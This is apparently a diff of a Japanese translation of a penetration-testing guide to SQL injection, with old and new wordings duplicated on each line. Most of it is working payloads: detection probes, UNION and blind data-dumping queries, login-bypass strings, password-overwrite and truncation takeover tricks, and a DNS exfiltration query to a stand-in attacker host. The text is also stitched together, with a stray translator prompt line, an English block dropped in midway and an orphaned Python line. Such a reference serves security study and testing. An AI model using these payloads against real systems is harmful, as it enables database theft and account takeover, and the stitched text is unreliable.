**SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを **表示**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツに恒久的な変更をもたらしたり、サーバーの侵害やサービスの拒否さえ引き起こす可能性があります。 **SQL インジェクション**は、攻撃者がアプリケーションのデータベースクエリに **干渉** できるセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを **表示**、**変更**、または **削除** することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否さえ引き起こす可能性があります。
## エントリーポイントの検出 ## エントリーポイントの検出
サイトが **SQL インジェクションSQLi** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入する方法を理解すること**です。これには、現在のコンテキストから **効果的に脱出する方法** を特定する必要があります。 サイトが **SQL インジェクションSQLi** に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、**最初のステップ** は、クエリにデータを **挿入する方法を理解し、それを妨げることなく** 行うことです。これには、現在のコンテキストから **効果的に脱出する方法** を特定する必要があります。
以下は、いくつかの有用な例です: 以下は、いくつかの有用な例です:
``` ```
[Nothing] [Nothing]
@ -38,7 +38,7 @@
")) "))
`)) `))
``` ```
次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して、**以前のクエリが新しいデータを受け入れるように**するか、単にデータを**入力**して**コメント記号を末尾に追加**することができます。 次に、**クエリを修正してエラーが発生しないようにする方法**を知る必要があります。クエリを修正するためには、新しいデータを**入力**して、**以前のクエリが新しいデータを受け入れるように**するか、単に**データを入力**して**コメント記号を末尾に追加**することができます。
_クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。_ _クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。_
@ -70,9 +70,9 @@ HQL does not support comments
``` ```
### 論理演算で確認 ### 論理演算で確認
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツを生成する場合、SQLインジェクションの脆弱性が示唆されます。 SQLインジェクションの脆弱性を確認する信頼性の高い方法は、**論理演算**を実行し、期待される結果を観察することです。たとえば、`?username=Peter`というGETパラメータが`?username=Peter' or '1'='1`に変更されたときに同一のコンテンツが生成される場合、SQLインジェクションの脆弱性が示唆されます。
同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`と`?id=2-1`にアクセスして同じ結果が生成される場合、SQLインジェクションの兆候となります。 同様に、**数学演算**の適用は効果的な確認手法として機能します。たとえば、`?id=1`にアクセスした場合と`?id=2-1`にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。
論理演算による確認を示す例: 論理演算による確認を示す例:
``` ```
@ -87,8 +87,8 @@ page.asp?id=1 and 1=2 -- results in false
### タイミングでの確認 ### タイミングでの確認
場合によっては、テストしているページに**変化に気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間がかかるようにする**ことです。\ 場合によっては、テストしているページに**変化に気づかない**ことがあります。そのため、**ブラインドSQLインジェクションを発見**する良い方法は、DBにアクションを実行させ、ページの読み込みに**時間がかかる影響**を与えることです。\
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結することになります: したがって、SQLクエリに、完了に多くの時間がかかる操作を連結ます:
``` ```
MySQL (string concat and logical ops) MySQL (string concat and logical ops)
1' + sleep(10) 1' + sleep(10)
@ -110,11 +110,11 @@ SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
``` ```
いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させて、数秒かかるクエリを作成することができます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。 いくつかの場合、**sleep関数を許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行**させることで、数秒かかるクエリを作成できます。_これらのテクニックの例は、各技術ごとに別々にコメントされます_。
### バックエンドの特定 ### バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブル バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの**sleep関数**またはこれらの関数を使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)からのテーブルを使用):
```bash ```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"], ["connection_id()=connection_id()" ,"MYSQL"],
@ -142,7 +142,7 @@ SQLite
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
``` ```
また、クエリの出力にアクセスできる場合、**データベースのバージョンを表示させることができます**。 また、クエリの出力にアクセスできる場合、**データベースのバージョンを表示させることができます**。
{% hint style="info" %} {% hint style="info" %}
続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。 続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。
@ -156,13 +156,13 @@ SQLite
### 列の数を検出する ### 列の数を検出する
クエリの出力を見ることができれば、これが悪用する最良の方法です。\ クエリの出力を見ることができる場合、これが悪用する最良の方法です。\
まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列数を返す必要があるため**です。\ まず、**初期リクエスト**が返す**列の数**を見つける必要があります。これは**両方のクエリが同じ列数を返す必要があるため**です。\
通常、この目的のためには2つの方法が使用されます: 通常、この目的のためには2つの方法が使用されます:
#### Order/Group by #### Order/Group by
クエリの列数を決定するには、**ORDER BY**または**GROUP BY**句で使用される数値を段階的に調整し、誤った応答が受信されるまで続けます。SQL内で**GROUP BY**と**ORDER BY**の異なる機能があるにもかかわらず、両方を同様に使用してクエリの列数を特定することができます。 クエリ内の列の数を特定するには、**ORDER BY**または**GROUP BY**句で使用される数を段階的に調整し、偽の応答が受信されるまで増やします。SQL内の**GROUP BY**と**ORDER BY**の異なる機能にもかかわらず、クエリの列数を確認するために両方を同様に利用できます。
```sql ```sql
1' ORDER BY 1--+ #True 1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True 1' ORDER BY 2--+ #True
@ -186,7 +186,7 @@ SQLite
1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked 1' UNION SELECT null,null,null-- - Worked
``` ```
_いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべての場合で有効です。_ _いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、`null`値を使用する必要があります。`null`はすべてのケースで有効です。_
### データベース名、テーブル名、列名を抽出 ### データベース名、テーブル名、列名を抽出
@ -201,41 +201,41 @@ _いくつかのケースでは、クエリの両側の列の型が同じであ
#Column names #Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name] -1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
``` ```
_異なるデータベースごとにこのデータを発見する異なる方法がありますが、常に同じ方法論です。_ _異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
## 隠れた Union Based の悪用 ## 隠れた Union Based の悪用
クエリの出力が見えるが、union-based のインジェクションが達成不可能に見える場合、**隠れた union-based のインジェクション**が存在していることを示します。このシナリオはしばしば盲目的なインジェクション状況につながります。盲目的なインジェクションをunion-basedに変換するには、バックエンドでの実行クエリを識別する必要があります。 クエリの出力が見えるが、union-based injection が達成不可能に見える場合、**隠れた union-based injection** の存在を示しています。このシナリオはしばしば blind injection の状況につながります。blind injection を union-based に変換するには、バックエンドでの実行クエリを識別する必要があります。
これは、対象のデータベース管理システムDBMSに固有のデフォルトテーブルと共に盲目的なインジェクション技術を使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。 これは、目標とするデータベース管理システムDBMSに固有のデフォルトテーブルと共に blind injection テクニックを使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードにunionクエリを追加することで、新たにアクセス可能になったunion-basedのインジェクションを悪用できます。 クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードに union クエリを追加することで、新たにアクセス可能になった union-based injection を悪用できます。
より包括的な洞察を得るには、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。 より包括的な洞察を得るには、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) で利用可能な完全な記事を参照してください。
## エラーを利用した悪用 ## エラーを利用した悪用
何らかの理由で**クエリの出力**を**見ることができない**が、**エラーメッセージは見える**場合、これらのエラーメッセージを使用してデータベースからデータを**外部に持ち出す**ことができます。\ 何らかの理由で **クエリの出力****見ることができない** が、**エラーメッセージを見ることができる** 場合、これらのエラーメッセージを使用してデータベースからデータを **外部に持ち出す** ことができます。\
Union Basedの悪用と同様の流れに従うことで、DBをダンプすることができます。 Union Based の悪用と同様の流れに従うことで、DB をダンプすることができます。
```sql ```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
``` ```
## Blind SQLiの悪用 ## Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を返すときに区別できます。なぜなら、ページに異なるコンテンツが表示されるからです。\ この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を返すときに区別できます。なぜなら、ページに異なるコンテンツが表示されるからです。\
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます
```sql ```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
``` ```
## エラー盲目SQLiの悪用 ## エラー盲目SQLiの悪用
これは以前と**同じケース**ですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。 これは**以前と同じケース**ですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。
```sql ```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
``` ```
## タイムベースのSQLiの悪用 ## Time Based SQLiの悪用
この場合、ページのコンテキストに基づいてクエリの応答を区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。これは、すでに[SQLi脆弱性を確認するために使用されている](./#confirming-with-timing)テクニックを見てきました この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。すでにこのテクニックが使用されており、[SQLiの脆弱性を確認](./#confirming-with-timing)するために使用されています
```sql ```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
``` ```
@ -245,9 +245,9 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
**Oracle**は**スタックされたクエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています:`ここにクエリ1; ここにクエリ2` **Oracle**は**スタックされたクエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています:`ここにクエリ1; ここにクエリ2`
## アウトオブバンド攻撃 ## Out of band Exploitation
他の**攻撃方法**が**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して 他の**どの**攻撃手法も**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して
```sql ```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
``` ```
@ -257,11 +257,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
``` ```
## 自動化された攻撃 ## 自動化された攻撃
SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用したSQLMapチートシートを確認してください。 SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用した攻撃手法については、[SQLMapチートシート](sqlmap/)を参照してください。
## テクノロジー固有の情報 ## テクノロジー固有の情報
すでにSQLインジェクション脆弱性を悪用する方法についてすべて説明しました。この書籍では、データベーステクロジーに依存したさらなるトリックを見つけることができます SQLインジェクション脆弱性を悪用する方法についてはすでにすべて説明しました。この書籍では、データベーステクノロジーに依存したさらなるトリックを見つけることができます:
* [MS Access](ms-access-sql-injection.md) * [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md) * [MSSQL](mssql-injection.md)
@ -269,11 +269,11 @@ SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproje
* [Oracle](oracle-injection.md) * [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/) * [PostgreSQL](postgresql-injection/)
また、[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)には、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックがあります。 また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリック**を[**こちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)で見つけることができます。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -300,14 +300,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
``` ```
**推奨リスト**: **推奨リスト**:
リストの各行をユーザー名として使用し、常にパスワードとして **_Pass1234._** を使用する必要があります。\ リストの各行をユーザー名として使用し、常にパスワード**_Pass1234._** としてください。\
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています) (これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK 認証バイパス ### GBK 認証バイパス
IF ' がエスケープされている場合、%A8%27 を使用でき' がエスケープされると、0xA80x5c0x27 (_╘'_) が作成されます。 IF ' がエスケープされている場合、%A8%27 を使用できます。そして ' がエスケープされると、0xA80x5c0x27 (_╘'_) が作成されます。
```sql ```sql
%A8%27 OR 1=1;-- 2 %A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2 %8C%A8%27 OR 1=1-- 2
@ -330,35 +330,35 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### 既存のオブジェクト/ユーザーのパスワードを変更する ### 既存のオブジェクト/ユーザーのパスワードを変更する
これを行うには、おそらくユーザーの場合は**管理者**として名前が付けられた**"マスターオブジェクト"**を作成しようとしてください: これを行うには、おそらくユーザーの場合は**管理者**として名前が付けられた**「マスターオブジェクト」という新しいオブジェクトを作成しようとしてください:
- ユーザー名を作成:**AdMIn**(大文字と小文字の組み合わせ - ユーザー名を**AdMIn**として作成する(大文字と小文字を区別
- ユーザー名を作成:**admin=** - ユーザー名を**admin=**として作成する
- **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース]**のユーザーを作成 - **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース]**のユーザーを作成する
#### SQL Truncation Attack #### SQL Truncation Attack
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してください。そして任意のパスワードを設定します。 データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。そして任意のパスワードを設定します。
データベースは、導入された**ユーザー名**がデータベース内に存在するかどうかを**チェック**します。もし存在しない場合、ユーザー名を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして末尾のすべてのスペースを**自動的に削除して**データベース内のユーザー"**admin**"の**新しいパスワード**を更新します(エラーが表示されるかもしれませんが、これが機能していないということではありません)。 データベースは、導入された**ユーザー名**がデータベース内に存在するかどうかを**確認**します。もし存在しない場合、**ユーザー名**を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー**admin**の**新しいパスワード**を更新します(エラーが表示されることがありますが、これが機能していないということではありません)。
詳細情報[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) 詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注最新のMySQLインストールでは、この攻撃は上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。これについての詳細情報はこちらを参照してください[https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_ _注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。これについての詳細情報はこちらを参照してください: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL挿入時の時間ベースのチェック ### MySQL挿入時の時間ベースのチェック
VALUESステートメントを終了させるために`','',''`を追加してください。遅延が発生した場合、SQLインジェクションが発生しています。 VALUESステートメントを終了すると考えられるだけの`','',''`を追加します。遅延が発生した場合、SQLインジェクションが発生しています。
```sql ```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20- name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
``` ```
### ON DUPLICATE KEY UPDATE ### ON DUPLICATE KEY UPDATE
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスやPRIMARY KEY重複する値が挿入されようとした場合にデータベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています: MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスやPRIMARY KEY重複する値が挿入されようとした場合にデータベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています
: ペイロードインジェクション :インジェクションペイロード
インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています: インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています
```sql ```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
``` ```
@ -366,7 +366,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
#### 同時に2つのアカウントを作成する #### 同時に2つのアカウントを作成する
新しいユーザーとユーザー名を作成しようとすると、パスワードとメールアドレスが必要です。 新しいユーザーとユーザー名を作成しようとすると、パスワードと電子メールが必要です。
``` ```
SQLi payload: SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -377,43 +377,29 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。 このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。
**hex2dec**と**substr**を使用する: **hex2dec** **substr** を使用する:
```sql ```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
``` ```
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルpentesting-web/sql-injection/README.mdからのものです。 以下は、ハッキング技術に関する本の内容です。ファイルpentesting-web/sql-injection/README.mdからのコンテンツです。
--- ## SQL Injection
### SQL Injection ### Description
#### Description SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
SQL injection is a common hacking technique used to attack databases through a web application. By inserting malicious SQL code into input fields, an attacker can manipulate the database and potentially access, modify, or delete sensitive data. ### Impact
#### Prevention The impact of an SQL injection attack can vary greatly depending on the application, the functionality of the website, and the data that is stored in the database. Some of the potential consequences of a successful SQL injection attack include unauthorized access to sensitive data, such as personal information, financial data, or intellectual property; the ability to execute operations on the database, such as adding, modifying, or deleting records; and in some cases, the ability to take control of the server that hosts the database.
To prevent SQL injection attacks, web developers should use parameterized queries, input validation, and proper error handling. Additionally, using an ORM (Object-Relational Mapping) library can help mitigate the risk of SQL injection by abstracting database interactions. ### Detection
#### Example Detecting SQL injection vulnerabilities can be challenging, as they can be present in both the frontend and backend components of a web application. Automated tools can be used to scan for common SQL injection vulnerabilities, but manual testing is often required to identify more complex issues. Common indicators of SQL injection include error messages that reveal details about the database structure, unexpected changes in application behavior, and the presence of suspicious or malformed input in application requests.
Consider a login form where the username and password are entered. An attacker can input `' OR 1=1 --` as the username and bypass the login authentication if the application is vulnerable to SQL injection. ### Prevention
--- Preventing SQL injection attacks requires a combination of secure coding practices and input validation techniques. Developers should use parameterized queries or prepared statements to prevent malicious input from being interpreted as SQL commands. Additionally, input should be validated on the client side to ensure that it conforms to expected formats and does not contain any potentially harmful characters. Regular security assessments and code reviews can help identify and address SQL injection vulnerabilities before they can be exploited by attackers.
### SQLインジェクション
#### 説明
SQLインジェクションは、Webアプリケーションを介してデータベースを攻撃するために使用される一般的なハッキング技術です。悪意のあるSQLコードを入力フィールドに挿入することで、攻撃者はデータベースを操作し、機密データにアクセスしたり、変更したり、削除したりする可能性があります。
#### 予防方法
SQLインジェクション攻撃を防ぐために、Web開発者はパラメーター化されたクエリ、入力検証、適切なエラーハンドリングを使用する必要があります。さらに、ORMObject-Relational Mappingライブラリを使用することで、データベースの相互作用を抽象化することで、SQLインジェクションのリスクを軽減するのに役立ちます。
#### 例
ユーザー名とパスワードが入力されるログインフォームを考えてみましょう。アプリケーションがSQLインジェクションに対して脆弱である場合、攻撃者はユーザー名として`' OR 1=1 --`を入力することで、ログイン認証をバイパスすることができます。
```python ```python
__import__('binascii').unhexlify(hex(215573607263)[2:]) __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
@ -428,13 +414,13 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 [**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い交流の場となっています。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## ルーテッドSQLインジェクション ## ルーテッドSQLインジェクション
ルーテッドSQLインジェクションとは、出力を提供するクエリではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況のことです。([論文より](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) ルーテッドSQLインジェクションとは、インジェクション可能なクエリが出力を提供するものではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
例: 例:
``` ```
@ -458,30 +444,33 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
### No Whitespace - コメントを使用してバイパスする ### No Whitespace - コメントを使用してバイパスする
